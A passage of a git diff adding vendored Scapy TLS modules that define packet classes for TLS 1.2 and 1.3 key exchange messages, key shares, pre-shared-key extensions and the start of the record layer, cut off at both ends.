None, length_of="a", fmt="B"), + StrLenField("a", "", length_from=lambda pkt: pkt.alen), + FieldLenField("blen", None, length_of="b", fmt="B"), + StrLenField("b", "", length_from=lambda pkt: pkt.blen)] + + +# Char2 Curves + +class ECTrinomialBasis(Packet): + name = "EC Trinomial Basis" + val = 0 + fields_desc = [FieldLenField("klen", None, length_of="k", fmt="B"), + StrLenField("k", "", length_from=lambda pkt: pkt.klen)] + + def guess_payload_class(self, p): + return Padding + + +class ECPentanomialBasis(Packet): + name = "EC Pentanomial Basis" + val = 1 + fields_desc = [FieldLenField("k1len", None, length_of="k1", fmt="B"), + StrLenField("k1", "", length_from=lambda pkt: pkt.k1len), + FieldLenField("k2len", None, length_of="k2", fmt="B"), + StrLenField("k2", "", length_from=lambda pkt: pkt.k2len), + FieldLenField("k3len", None, length_of="k3", fmt="B"), + StrLenField("k3", "", length_from=lambda pkt: pkt.k3len)] + + def guess_payload_class(self, p): + return Padding + + +_tls_ec_basis_cls = {0: ECTrinomialBasis, 1: ECPentanomialBasis} + + +class _ECBasisTypeField(ByteEnumField): + __slots__ = ["basis_type_of"] + + def __init__(self, name, default, enum, basis_type_of, remain=0): + self.basis_type_of = basis_type_of + EnumField.__init__(self, name, default, enum, "B") + + def i2m(self, pkt, x): + if x is None: + fld, fval = pkt.getfield_and_val(self.basis_type_of) + x = fld.i2basis_type(pkt, fval) + return x + + +class _ECBasisField(PacketField): + __slots__ = ["clsdict", "basis_type_from"] + + def __init__(self, name, default, basis_type_from, clsdict, remain=0): + self.clsdict = clsdict + self.basis_type_from = basis_type_from + PacketField.__init__(self, name, default, None, remain=remain) + + def m2i(self, pkt, m): + basis = self.basis_type_from(pkt) + cls = self.clsdict[basis] + return cls(m) + + def i2basis_type(self, pkt, x): + val = 0 + try: + val = x.val + except Exception: + pass + return val + + +# Distinct ECParameters +## +# To support the different ECParameters structures defined in Sect. 5.4 of +# RFC 4492, we define 3 separates classes for implementing the 3 associated +# ServerECDHParams: ServerECDHNamedCurveParams, ServerECDHExplicitPrimeParams +# and ServerECDHExplicitChar2Params (support for this one is only partial). +# The most frequent encounter of the 3 is (by far) ServerECDHNamedCurveParams. + +class ServerECDHExplicitPrimeParams(_GenericTLSSessionInheritance): + """ + We provide parsing abilities for ExplicitPrimeParams, but there is no + support from the cryptography library, hence no context operations. + """ + name = "Server ECDH parameters - Explicit Prime" + fields_desc = [ByteEnumField("curve_type", 1, _tls_ec_curve_types), + FieldLenField("plen", None, length_of="p", fmt="B"), + StrLenField("p", "", length_from=lambda pkt: pkt.plen), + PacketField("curve", None, ECCurvePkt), + FieldLenField("baselen", None, length_of="base", fmt="B"), + StrLenField("base", "", + length_from=lambda pkt: pkt.baselen), + FieldLenField("orderlen", None, + length_of="order", fmt="B"), + StrLenField("order", "", + length_from=lambda pkt: pkt.orderlen), + FieldLenField("cofactorlen", None, + length_of="cofactor", fmt="B"), + StrLenField("cofactor", "", + length_from=lambda pkt: pkt.cofactorlen), + FieldLenField("pointlen", None, + length_of="point", fmt="B"), + StrLenField("point", "", + length_from=lambda pkt: pkt.pointlen)] + + def fill_missing(self): + """ + Note that if it is not set by the user, the cofactor will always + be 1. It is true for most, but not all, TLS elliptic curves. + """ + if self.curve_type is None: + self.curve_type = _tls_ec_curve_types["explicit_prime"] + + def guess_payload_class(self, p): + return Padding + + +class ServerECDHExplicitChar2Params(_GenericTLSSessionInheritance): + """ + We provide parsing abilities for Char2Params, but there is no + support from the cryptography library, hence no context operations. + """ + name = "Server ECDH parameters - Explicit Char2" + fields_desc = [ByteEnumField("curve_type", 2, _tls_ec_curve_types), + ShortField("m", None), + _ECBasisTypeField("basis_type", None, + _tls_ec_basis_types, "basis"), + _ECBasisField("basis", ECTrinomialBasis(), + lambda pkt: pkt.basis_type, + _tls_ec_basis_cls), + PacketField("curve", ECCurvePkt(), ECCurvePkt), + FieldLenField("baselen", None, length_of="base", fmt="B"), + StrLenField("base", "", + length_from=lambda pkt: pkt.baselen), + ByteField("order", None), + ByteField("cofactor", None), + FieldLenField("pointlen", None, + length_of="point", fmt="B"), + StrLenField("point", "", + length_from=lambda pkt: pkt.pointlen)] + + def fill_missing(self): + if self.curve_type is None: + self.curve_type = _tls_ec_curve_types["explicit_char2"] + + def guess_payload_class(self, p): + return Padding + + +class ServerECDHNamedCurveParams(_GenericTLSSessionInheritance): + name = "Server ECDH parameters - Named Curve" + fields_desc = [ByteEnumField("curve_type", 3, _tls_ec_curve_types), + ShortEnumField("named_curve", None, _tls_named_curves), + FieldLenField("pointlen", None, + length_of="point", fmt="B"), + StrLenField("point", None, + length_from=lambda pkt: pkt.pointlen)] + + @crypto_validator + def fill_missing(self): + """ + We do not want TLSServerKeyExchange.build() to overload and recompute + things every time it is called. This method can be called specifically + to have things filled in a smart fashion. + + XXX We should account for the point_format (before 'point' filling). + """ + s = self.tls_session + + if self.curve_type is None: + self.curve_type = _tls_ec_curve_types["named_curve"] + + if self.named_curve is None: + curve = ec.SECP256R1() + s.server_kx_privkey = ec.generate_private_key(curve, + default_backend()) + self.named_curve = next((cid for cid, name in six.iteritems(_tls_named_curves) # noqa: E501 + if name == curve.name), 0) + else: + curve_name = _tls_named_curves.get(self.named_curve) + if curve_name is None: + # this fallback is arguable + curve = ec.SECP256R1() + else: + curve_cls = ec._CURVE_TYPES.get(curve_name) + if curve_cls is None: + # this fallback is arguable + curve = ec.SECP256R1() + else: + curve = curve_cls() + s.server_kx_privkey = ec.generate_private_key(curve, + default_backend()) + + if self.point is None: + pubkey = s.server_kx_privkey.public_key() + try: + # cryptography >= 2.5 + self.point = pubkey.public_bytes( + serialization.Encoding.X962, + serialization.PublicFormat.UncompressedPoint + ) + except TypeError: + # older versions + self.key_exchange = pubkey.public_numbers().encode_point() + # else, we assume that the user wrote the server_kx_privkey by himself + if self.pointlen is None: + self.pointlen = len(self.point) + + if not s.client_kx_ecdh_params: + s.client_kx_ecdh_params = curve + + @crypto_validator + def register_pubkey(self): + """ + XXX Support compressed point format. + XXX Check that the pubkey received is on the curve. + """ + # point_format = 0 + # if self.point[0] in [b'\x02', b'\x03']: + # point_format = 1 + + curve_name = _tls_named_curves[self.named_curve] + curve = ec._CURVE_TYPES[curve_name]() + s = self.tls_session + try: # cryptography >= 2.5 + import_point = ec.EllipticCurvePublicKey.from_encoded_point + s.server_kx_pubkey = import_point(curve, self.point) + except AttributeError: + import_point = ec.EllipticCurvePublicNumbers.from_encoded_point + pubnum = import_point(curve, self.point) + s.server_kx_pubkey = pubnum.public_key(default_backend()) + + if not s.client_kx_ecdh_params: + s.client_kx_ecdh_params = curve + + def post_dissection(self, r): + try: + self.register_pubkey() + except ImportError: + pass + + def guess_payload_class(self, p): + return Padding + + +_tls_server_ecdh_cls = {1: ServerECDHExplicitPrimeParams, + 2: ServerECDHExplicitChar2Params, + 3: ServerECDHNamedCurveParams} + + +def _tls_server_ecdh_cls_guess(m): + if not m: + return None + curve_type = orb(m[0]) + return _tls_server_ecdh_cls.get(curve_type, None) + + +# RSA Encryption (export) + +class ServerRSAParams(_GenericTLSSessionInheritance): + """ + Defined for RSA_EXPORT kx : it enables servers to share RSA keys shorter + than their principal {>512}-bit key, when it is not allowed for kx. + + This should not appear in standard RSA kx negotiation, as the key + has already been advertised in the Certificate message. + """ + name = "Server RSA_EXPORT parameters" + fields_desc = [FieldLenField("rsamodlen", None, length_of="rsamod"), + StrLenField("rsamod", "", + length_from=lambda pkt: pkt.rsamodlen), + FieldLenField("rsaexplen", None, length_of="rsaexp"), + StrLenField("rsaexp", "", + length_from=lambda pkt: pkt.rsaexplen)] + + @crypto_validator + def fill_missing(self): + k = PrivKeyRSA() + k.fill_and_store(modulusLen=512) + self.tls_session.server_tmp_rsa_key = k + pubNum = k.pubkey.public_numbers() + + if not self.rsamod: + self.rsamod = pkcs_i2osp(pubNum.n, k.pubkey.key_size // 8) + if self.rsamodlen is None: + self.rsamodlen = len(self.rsamod) + + rsaexplen = math.ceil(math.log(pubNum.e) / math.log(2) / 8.) + if not self.rsaexp: + self.rsaexp = pkcs_i2osp(pubNum.e, rsaexplen) + if self.rsaexplen is None: + self.rsaexplen = len(self.rsaexp) + + @crypto_validator + def register_pubkey(self): + mLen = self.rsamodlen + m = self.rsamod + e = self.rsaexp + self.tls_session.server_tmp_rsa_key = PubKeyRSA((e, m, mLen)) + + def post_dissection(self, pkt): + try: + self.register_pubkey() + except ImportError: + pass + + def guess_payload_class(self, p): + return Padding + + +# Pre-Shared Key + +class ServerPSKParams(Packet): + """ + XXX We provide some parsing abilities for ServerPSKParams, but the + context operations have not been implemented yet. See RFC 4279. + Note that we do not cover the (EC)DHE_PSK key exchange, + which should contain a Server*DHParams after 'psk_identity_hint'. + """ + name = "Server PSK parameters" + fields_desc = [FieldLenField("psk_identity_hint_len", None, + length_of="psk_identity_hint", fmt="!H"), + StrLenField("psk_identity_hint", "", + length_from=lambda pkt: pkt.psk_identity_hint_len)] # noqa: E501 + + def fill_missing(self): + pass + + def post_dissection(self, pkt): + pass + + def guess_payload_class(self, p): + return Padding + + +############################################################################### +# Client Key Exchange value # +############################################################################### + +# FFDH/ECDH + +class ClientDiffieHellmanPublic(_GenericTLSSessionInheritance): + """ + If the user provides a value for dh_Yc attribute, we assume he will set + the pms and ms accordingly and trigger the key derivation on his own. + + XXX As specified in 7.4.7.2. of RFC 4346, we should distinguish the needs + for implicit or explicit value depending on availability of DH parameters + in *client* certificate. For now we can only do ephemeral/explicit DH. + """ + name = "Client DH Public Value" + fields_desc = [FieldLenField("dh_Yclen", None, length_of="dh_Yc"), + StrLenField("dh_Yc", "", + length_from=lambda pkt: pkt.dh_Yclen)] + + @crypto_validator + def fill_missing(self): + s = self.tls_session + params = s.client_kx_ffdh_params + s.client_kx_privkey = params.generate_private_key() + pubkey = s.client_kx_privkey.public_key() + y = pubkey.public_numbers().y + self.dh_Yc = pkcs_i2osp(y, pubkey.key_size // 8) + + if s.client_kx_privkey and s.server_kx_pubkey: + pms = s.client_kx_privkey.exchange(s.server_kx_pubkey) + s.pre_master_secret = pms + s.compute_ms_and_derive_keys() + + def post_build(self, pkt, pay): + if not self.dh_Yc: + try: + self.fill_missing() + except ImportError: + pass + if self.dh_Yclen is None: + self.dh_Yclen = len(self.dh_Yc) + return pkcs_i2osp(self.dh_Yclen, 2) + self.dh_Yc + pay + + def post_dissection(self, m): + """ + First we update the client DHParams. Then, we try to update the server + DHParams generated during Server*DHParams building, with the shared + secret. Finally, we derive the session keys and update the context. + """ + s = self.tls_session + + # if there are kx params and keys, we assume the crypto library is ok + if s.client_kx_ffdh_params: + y = pkcs_os2ip(self.dh_Yc) + param_numbers = s.client_kx_ffdh_params.parameter_numbers() + public_numbers = dh.DHPublicNumbers(y, param_numbers) + s.client_kx_pubkey = public_numbers.public_key(default_backend()) + + if s.server_kx_privkey and s.client_kx_pubkey: + ZZ = s.server_kx_privkey.exchange(s.client_kx_pubkey) + s.pre_master_secret = ZZ + s.compute_ms_and_derive_keys() + + def guess_payload_class(self, p): + return Padding + + +class ClientECDiffieHellmanPublic(_GenericTLSSessionInheritance): + """ + Note that the 'len' field is 1 byte longer than with the previous class. + """ + name = "Client ECDH Public Value" + fields_desc = [FieldLenField("ecdh_Yclen", None, + length_of="ecdh_Yc", fmt="B"), + StrLenField("ecdh_Yc", "", + length_from=lambda pkt: pkt.ecdh_Yclen)] + + @crypto_validator + def fill_missing(self): + s = self.tls_session + params = s.client_kx_ecdh_params + s.client_kx_privkey = ec.generate_private_key(params, + default_backend()) + pubkey = s.client_kx_privkey.public_key() + x = pubkey.public_numbers().x + y = pubkey.public_numbers().y + self.ecdh_Yc = (b"\x04" + + pkcs_i2osp(x, params.key_size // 8) + + pkcs_i2osp(y, params.key_size // 8)) + + if s.client_kx_privkey and s.server_kx_pubkey: + pms = s.client_kx_privkey.exchange(ec.ECDH(), s.server_kx_pubkey) + s.pre_master_secret = pms + s.compute_ms_and_derive_keys() + + def post_build(self, pkt, pay): + if not self.ecdh_Yc: + try: + self.fill_missing() + except ImportError: + pass + if self.ecdh_Yclen is None: + self.ecdh_Yclen = len(self.ecdh_Yc) + return pkcs_i2osp(self.ecdh_Yclen, 1) + self.ecdh_Yc + pay + + def post_dissection(self, m): + s = self.tls_session + + # if there are kx params and keys, we assume the crypto library is ok + if s.client_kx_ecdh_params: + try: # cryptography >= 2.5 + import_point = ec.EllipticCurvePublicKey.from_encoded_point + s.client_kx_pubkey = import_point(s.client_kx_ecdh_params, + self.ecdh_Yc) + except AttributeError: + import_point = ec.EllipticCurvePublicNumbers.from_encoded_point + pub_num = import_point(s.client_kx_ecdh_params, self.ecdh_Yc) + s.client_kx_pubkey = pub_num.public_key(default_backend()) + + if s.server_kx_privkey and s.client_kx_pubkey: + ZZ = s.server_kx_privkey.exchange(ec.ECDH(), s.client_kx_pubkey) + s.pre_master_secret = ZZ + s.compute_ms_and_derive_keys() + + +# RSA Encryption (standard & export) + +class _UnEncryptedPreMasterSecret(Raw): + """ + When the content of an EncryptedPreMasterSecret could not be deciphered, + we use this class to represent the encrypted data. + """ + name = "RSA Encrypted PreMaster Secret (protected)" + + def __init__(self, *args, **kargs): + kargs.pop('tls_session', None) + return super(_UnEncryptedPreMasterSecret, self).__init__(*args, **kargs) # noqa: E501 + + +class EncryptedPreMasterSecret(_GenericTLSSessionInheritance): + """ + Pay attention to implementation notes in section 7.4.7.1 of RFC 5246. + """ + name = "RSA Encrypted PreMaster Secret" + fields_desc = [_TLSClientVersionField("client_version", None, + _tls_version), + StrFixedLenField("random", None, 46)] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and 'tls_session' in kargs: + s = kargs['tls_session'] + if s.server_tmp_rsa_key is None and s.server_rsa_key is None: + return _UnEncryptedPreMasterSecret + return EncryptedPreMasterSecret + + def pre_dissect(self, m): + s = self.tls_session + tbd = m + tls_version = s.tls_version + if tls_version is None: + tls_version = s.advertised_tls_version + if tls_version >= 0x0301: + if len(m) < 2: # Should not happen + return m + tmp_len = struct.unpack("!H", m[:2])[0] + if len(m) != tmp_len + 2: + err = "TLS 1.0+, but RSA Encrypted PMS with no explicit length" + warning(err) + else: + tbd = m[2:] + if s.server_tmp_rsa_key is not None: + # priority is given to the tmp_key, if there is one + decrypted = s.server_tmp_rsa_key.decrypt(tbd) + pms = decrypted[-48:] + elif s.server_rsa_key is not None: + decrypted = s.server_rsa_key.decrypt(tbd) + pms = decrypted[-48:] + else: + # the dispatch_hook is supposed to prevent this case + pms = b"\x00" * 48 + err = "No server RSA key to decrypt Pre Master Secret. Skipping." + warning(err) + + s.pre_master_secret = pms + s.compute_ms_and_derive_keys() + + return pms + + def post_build(self, pkt, pay): + """ + We encrypt the premaster secret (the 48 bytes) with either the server + certificate or the temporary RSA key provided in a server key exchange + message. After that step, we add the 2 bytes to provide the length, as + described in implementation notes at the end of section 7.4.7.1. + """ + enc = pkt + + s = self.tls_session + s.pre_master_secret = enc + s.compute_ms_and_derive_keys() + + if s.server_tmp_rsa_key is not None: + enc = s.server_tmp_rsa_key.encrypt(pkt, t="pkcs") + elif s.server_certs is not None and len(s.server_certs) > 0: + enc = s.server_certs[0].encrypt(pkt, t="pkcs") + else: + warning("No material to encrypt Pre Master Secret") + + tmp_len = b"" + tls_version = s.tls_version + if tls_version is None: + tls_version = s.advertised_tls_version + if tls_version >= 0x0301: + tmp_len = struct.pack("!H", len(enc)) + return tmp_len + enc + pay + + def guess_payload_class(self, p): + return Padding + + +# Pre-Shared Key + +class ClientPSKIdentity(Packet): + """ + XXX We provide parsing abilities for ServerPSKParams, but the context + operations have not been implemented yet. See RFC 4279. + Note that we do not cover the (EC)DHE_PSK nor the RSA_PSK key exchange, + which should contain either an EncryptedPMS or a ClientDiffieHellmanPublic. + """ + name = "Server PSK parameters" + fields_desc = [FieldLenField("psk_identity_len", None, + length_of="psk_identity", fmt="!H"), + StrLenField("psk_identity", "", + length_from=lambda pkt: pkt.psk_identity_len)] diff --git a/libs/scapy/layers/tls/keyexchange_tls13.py b/libs/scapy/layers/tls/keyexchange_tls13.py new file mode 100755 index 0000000..09069be --- /dev/null +++ b/libs/scapy/layers/tls/keyexchange_tls13.py @@ -0,0 +1,325 @@ +# This file is part of Scapy +# Copyright (C) 2017 Maxence Tury +# 2019 Romain Perez +# This program is published under a GPLv2 license + +""" +TLS 1.3 key exchange logic. +""" + +import struct + +from scapy.config import conf, crypto_validator +from scapy.error import log_runtime +from scapy.fields import FieldLenField, IntField, PacketField, \ + PacketListField, ShortEnumField, ShortField, StrFixedLenField, \ + StrLenField +from scapy.packet import Packet, Padding +from scapy.layers.tls.extensions import TLS_Ext_Unknown, _tls_ext +from scapy.layers.tls.crypto.groups import _tls_named_ffdh_groups, \ + _tls_named_curves, _ffdh_groups, \ + _tls_named_groups +import scapy.modules.six as six + +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives import serialization + from cryptography.hazmat.primitives.asymmetric import dh, ec +if conf.crypto_valid_advanced: + from cryptography.hazmat.primitives.asymmetric import x25519 + from cryptography.hazmat.primitives.asymmetric import x448 + + +class KeyShareEntry(Packet): + """ + When building from scratch, we create a DH private key, and when + dissecting, we create a DH public key. Default group is secp256r1. + """ + __slots__ = ["privkey", "pubkey"] + name = "Key Share Entry" + fields_desc = [ShortEnumField("group", None, _tls_named_groups), + FieldLenField("kxlen", None, length_of="key_exchange"), + StrLenField("key_exchange", "", + length_from=lambda pkt: pkt.kxlen)] + + def __init__(self, *args, **kargs): + self.privkey = None + self.pubkey = None + super(KeyShareEntry, self).__init__(*args, **kargs) + + def do_build(self): + """ + We need this hack, else 'self' would be replaced by __iter__.next(). + """ + tmp = self.explicit + self.explicit = True + b = super(KeyShareEntry, self).do_build() + self.explicit = tmp + return b + + @crypto_validator + def create_privkey(self): + """ + This is called by post_build() for key creation. + """ + if self.group in _tls_named_ffdh_groups: + params = _ffdh_groups[_tls_named_ffdh_groups[self.group]][0] + privkey = params.generate_private_key() + self.privkey = privkey + pubkey = privkey.public_key() + self.key_exchange = pubkey.public_numbers().y + elif self.group in _tls_named_curves: + if _tls_named_curves[self.group] in ["x25519", "x448"]: + if conf.crypto_valid_advanced: + if _tls_named_curves[self.group] == "x25519": + privkey = x25519.X25519PrivateKey.generate() + else: + privkey = x448.X448PrivateKey.generate() + self.privkey = privkey + pubkey = privkey.public_key() + self.key_exchange = pubkey.public_bytes( + serialization.Encoding.Raw, + serialization.PublicFormat.Raw + ) + else: + curve = ec._CURVE_TYPES[_tls_named_curves[self.group]]() + privkey = ec.generate_private_key(curve, default_backend()) + self.privkey = privkey + pubkey = privkey.public_key() + try: + # cryptography >= 2.5 + self.key_exchange = pubkey.public_bytes( + serialization.Encoding.X962, + serialization.PublicFormat.UncompressedPoint + ) + except TypeError: + # older versions + self.key_exchange = pubkey.public_numbers().encode_point() + + def post_build(self, pkt, pay): + if self.group is None: + self.group = 23 # secp256r1 + + if not self.key_exchange: + try: + self.create_privkey() + except ImportError: + pass + + if self.kxlen is None: + self.kxlen = len(self.key_exchange) + + group = struct.pack("!H", self.group) + kxlen = struct.pack("!H", self.kxlen) + return group + kxlen + self.key_exchange + pay + + @crypto_validator + def register_pubkey(self): + if self.group in _tls_named_ffdh_groups: + params = _ffdh_groups[_tls_named_ffdh_groups[self.group]][0] + pn = params.parameter_numbers() + public_numbers = dh.DHPublicNumbers(self.key_exchange, pn) + self.pubkey = public_numbers.public_key(default_backend()) + elif self.group in _tls_named_curves: + if _tls_named_curves[self.group] in ["x25519", "x448"]: + if conf.crypto_valid_advanced: + if _tls_named_curves[self.group] == "x25519": + import_point = x25519.X25519PublicKey.from_public_bytes + else: + import_point = x448.X448PublicKey.from_public_bytes + self.pubkey = import_point(self.key_exchange) + else: + curve = ec._CURVE_TYPES[_tls_named_curves[self.group]]() + try: # cryptography >= 2.5 + import_point = ec.EllipticCurvePublicKey.from_encoded_point # noqa: E501 + self.pubkey = import_point(curve, self.key_exchange) + except AttributeError: + import_point = ec.EllipticCurvePublicNumbers.from_encoded_point # noqa: E501 + pub_num = import_point(curve, self.key_exchange).public_numbers() # noqa: E501 + self.pubkey = pub_num.public_key(default_backend()) + + def post_dissection(self, r): + try: + self.register_pubkey() + except ImportError: + pass + + def extract_padding(self, s): + return "", s + + +class TLS_Ext_KeyShare_CH(TLS_Ext_Unknown): + name = "TLS Extension - Key Share (for ClientHello)" + fields_desc = [ShortEnumField("type", 0x33, _tls_ext), + ShortField("len", None), + FieldLenField("client_shares_len", None, + length_of="client_shares"), + PacketListField("client_shares", [], KeyShareEntry, + length_from=lambda pkt: pkt.client_shares_len)] # noqa: E501 + + def post_build(self, pkt, pay): + if not self.tls_session.frozen: + privshares = self.tls_session.tls13_client_privshares + for kse in self.client_shares: + if kse.privkey: + if _tls_named_curves[kse.group] in privshares: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: group %s used twice in the same ClientHello [%s]", kse.group, pkt_info) # noqa: E501 + break + privshares[_tls_named_groups[kse.group]] = kse.privkey + return super(TLS_Ext_KeyShare_CH, self).post_build(pkt, pay) + + def post_dissection(self, r): + if not self.tls_session.frozen: + for kse in self.client_shares: + if kse.pubkey: + pubshares = self.tls_session.tls13_client_pubshares + if _tls_named_curves[kse.group] in pubshares: + pkt_info = r.firstlayer().summary() + log_runtime.info("TLS: group %s used twice in the same ClientHello [%s]", kse.group, pkt_info) # noqa: E501 + break + pubshares[_tls_named_curves[kse.group]] = kse.pubkey + return super(TLS_Ext_KeyShare_CH, self).post_dissection(r) + + +class TLS_Ext_KeyShare_HRR(TLS_Ext_Unknown): + name = "TLS Extension - Key Share (for HelloRetryRequest)" + fields_desc = [ShortEnumField("type", 0x33, _tls_ext), + ShortField("len", None), + ShortEnumField("selected_group", None, _tls_named_groups)] + + +class TLS_Ext_KeyShare_SH(TLS_Ext_Unknown): + name = "TLS Extension - Key Share (for ServerHello)" + fields_desc = [ShortEnumField("type", 0x33, _tls_ext), + ShortField("len", None), + PacketField("server_share", None, KeyShareEntry)] + + def post_build(self, pkt, pay): + if not self.tls_session.frozen and self.server_share.privkey: + # if there is a privkey, we assume the crypto library is ok + privshare = self.tls_session.tls13_server_privshare + if len(privshare) > 0: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: overwriting previous server key share [%s]", pkt_info) # noqa: E501 + group_name = _tls_named_groups[self.server_share.group] + privshare[group_name] = self.server_share.privkey + + if group_name in self.tls_session.tls13_client_pubshares: + privkey = self.server_share.privkey + pubkey = self.tls_session.tls13_client_pubshares[group_name] + if group_name in six.itervalues(_tls_named_ffdh_groups): + pms = privkey.exchange(pubkey) + elif group_name in six.itervalues(_tls_named_curves): + if group_name in ["x25519", "x448"]: + pms = privkey.exchange(pubkey) + else: + pms = privkey.exchange(ec.ECDH(), pubkey) + self.tls_session.tls13_dhe_secret = pms + return super(TLS_Ext_KeyShare_SH, self).post_build(pkt, pay) + + def post_dissection(self, r): + if not self.tls_session.frozen and self.server_share.pubkey: + # if there is a pubkey, we assume the crypto library is ok + pubshare = self.tls_session.tls13_server_pubshare + if pubshare: + pkt_info = r.firstlayer().summary() + log_runtime.info("TLS: overwriting previous server key share [%s]", pkt_info) # noqa: E501 + group_name = _tls_named_groups[self.server_share.group] + pubshare[group_name] = self.server_share.pubkey + + if group_name in self.tls_session.tls13_client_privshares: + pubkey = self.server_share.pubkey + privkey = self.tls_session.tls13_client_privshares[group_name] + if group_name in six.itervalues(_tls_named_ffdh_groups): + pms = privkey.exchange(pubkey) + elif group_name in six.itervalues(_tls_named_curves): + if group_name in ["x25519", "x448"]: + pms = privkey.exchange(pubkey) + else: + pms = privkey.exchange(ec.ECDH(), pubkey) + self.tls_session.tls13_dhe_secret = pms + elif group_name in self.tls_session.tls13_server_privshare: + pubkey = self.tls_session.tls13_client_pubshares[group_name] + privkey = self.tls_session.tls13_server_privshare[group_name] + if group_name in six.itervalues(_tls_named_ffdh_groups): + pms = privkey.exchange(pubkey) + elif group_name in six.itervalues(_tls_named_curves): + if group_name in ["x25519", "x448"]: + pms = privkey.exchange(pubkey) + else: + pms = privkey.exchange(ec.ECDH(), pubkey) + self.tls_session.tls13_dhe_secret = pms + return super(TLS_Ext_KeyShare_SH, self).post_dissection(r) + + +_tls_ext_keyshare_cls = {1: TLS_Ext_KeyShare_CH, + 2: TLS_Ext_KeyShare_SH} + +_tls_ext_keyshare_hrr_cls = {2: TLS_Ext_KeyShare_HRR} + + +class Ticket(Packet): + name = "Recommended Ticket Construction (from RFC 5077)" + fields_desc = [StrFixedLenField("key_name", None, 16), + StrFixedLenField("iv", None, 16), + FieldLenField("encstatelen", None, length_of="encstate"), + StrLenField("encstate", "", + length_from=lambda pkt: pkt.encstatelen), + StrFixedLenField("mac", None, 32)] + + +class TicketField(PacketField): + __slots__ = ["length_from"] + + def __init__(self, name, default, length_from=None, **kargs): + self.length_from = length_from + PacketField.__init__(self, name, default, Ticket, **kargs) + + def m2i(self, pkt, m): + tmp_len = self.length_from(pkt) + tbd, rem = m[:tmp_len], m[tmp_len:] + return self.cls(tbd) / Padding(rem) + + +class PSKIdentity(Packet): + name = "PSK Identity" + fields_desc = [FieldLenField("identity_len", None, + length_of="identity"), + TicketField("identity", "", + length_from=lambda pkt: pkt.identity_len), + IntField("obfuscated_ticket_age", 0)] + + +class PSKBinderEntry(Packet): + name = "PSK Binder Entry" + fields_desc = [FieldLenField("binder_len", None, fmt="B", + length_of="binder"), + StrLenField("binder", "", + length_from=lambda pkt: pkt.binder_len)] + + +class TLS_Ext_PreSharedKey_CH(TLS_Ext_Unknown): + # XXX define post_build and post_dissection methods + name = "TLS Extension - Pre Shared Key (for ClientHello)" + fields_desc = [ShortEnumField("type", 0x29, _tls_ext), + ShortField("len", None), + FieldLenField("identities_len", None, + length_of="identities"), + PacketListField("identities", [], PSKIdentity, + length_from=lambda pkt: pkt.identities_len), + FieldLenField("binders_len", None, + length_of="binders"), + PacketListField("binders", [], PSKBinderEntry, + length_from=lambda pkt: pkt.binders_len)] + + +class TLS_Ext_PreSharedKey_SH(TLS_Ext_Unknown): + name = "TLS Extension - Pre Shared Key (for ServerHello)" + fields_desc = [ShortEnumField("type", 0x29, _tls_ext), + ShortField("len", None), + ShortField("selected_identity", None)] + + +_tls_ext_presharedkey_cls = {1: TLS_Ext_PreSharedKey_CH, + 2: TLS_Ext_PreSharedKey_SH} diff --git a/libs/scapy/layers/tls/record.py b/libs/scapy/layers/tls/record.py new file mode 100755 index 0000000..3dab548 --- /dev/null +++ b/libs/scapy/layers/tls/record.py @@ -0,0 +1,813 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# 2019 Romain Perez +# 2019 Gabriel Potter +# This program is published under a GPLv2 license + +""" +Common TLS fields & bindings. + +This module covers the record layer, along with the ChangeCipherSpec, Alert and +ApplicationData submessages. For the Handshake type, see tls_handshake.py. + +See the TLS class documentation for more information. +""" + +import struct + +from scapy.config import conf +from scapy.error import log_runtime +from scapy.fields import ByteEnumField, PacketListField, StrField +from scapy.compat import raw, chb, orb +from scapy.utils import randstring +from scapy.packet import Raw, Padding, bind_layers +from scapy.layers.inet import TCP +from scapy.layers.tls.session import _GenericTLSSessionInheritance +from scapy.layers.tls.handshake import (_tls_handshake_cls, _TLSHandshake, + _tls13_handshake_cls, TLS13ServerHello, + TLS13ClientHello) +from scapy.layers.tls.basefields import (_TLSVersionField, _tls_version, + _TLSIVField, _TLSMACField, + _TLSPadField, _TLSPadLenField, + _TLSLengthField, _tls_type) +from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp +from scapy.layers.tls.crypto.cipher_aead import AEADTagError +from scapy.layers.tls.crypto.cipher_stream import Cipher_NULL +from scapy.layers.tls.crypto.common import CipherError +from scapy.layers.tls.crypto.h_mac import HMACError +import scapy.modules.six as six +if conf.crypto_valid_advanced: + from scapy.layers.tls.crypto.cipher_aead import Cipher_CHACHA20_POLY1305 + +# Util + + +def _tls_version_check(version, min): + """Returns if version >= min, or False if version == None""" + if version is None: + return False + return version >= min + +############################################################################### +# TLS Record Protocol # +############################################################################### + + +class _TLSEncryptedContent(Raw, _GenericTLSSessionInheritance): + """ + When the content of a TLS record (more precisely, a TLSCiphertext) could + not be deciphered, we use this class to represent the encrypted data. + The MAC will still be parsed from the whole message, even though it could + not been verified. When present (depending on cipher type and protocol + version), the nonce_explicit, IV and/or padding will also be parsed. + """ + name = "Encrypted Content" + match_subclass = True + + +class _TLSMsgListField(PacketListField): + """ + This is the actual content of the TLS record. As a TLS record may pack + multiple sublayer messages (notably, several handshake messages), + we inherit from PacketListField. + """ + + def __init__(self, name, default, length_from=None): + if not length_from: + length_from = self._get_length + super(_TLSMsgListField, self).__init__(name, default, cls=None, + length_from=length_from) + + def _get_length(self, pkt): + if pkt.deciphered_len is None: + return pkt.len + return pkt.deciphered_len + + def m2i(self, pkt, m): + """ + Try to parse one of the TLS subprotocols (ccs, alert, handshake or + application_data). This is used inside a loop managed by .getfield(). + """ + cls = Raw + if pkt.type == 22: + if len(m) >= 1: + msgtype = orb(m[0]) + if ((pkt.tls_session.advertised_tls_version == 0x0304) or + (pkt.tls_session.tls_version and + pkt.tls_session.tls_version == 0x0304)): + cls = _tls13_handshake_cls.get(msgtype, Raw) + else: + cls = _tls_handshake_cls.get(msgtype, Raw) + + elif pkt.type == 20: + cls = TLSChangeCipherSpec + elif pkt.type == 21: + cls = TLSAlert + elif pkt.type == 23: + cls = TLSApplicationData + + if cls is Raw: + return Raw(m) + else: + try: + return cls(m, tls_session=pkt.tls_session) + except Exception: + if conf.debug_dissector: + raise + return Raw(m) + + def 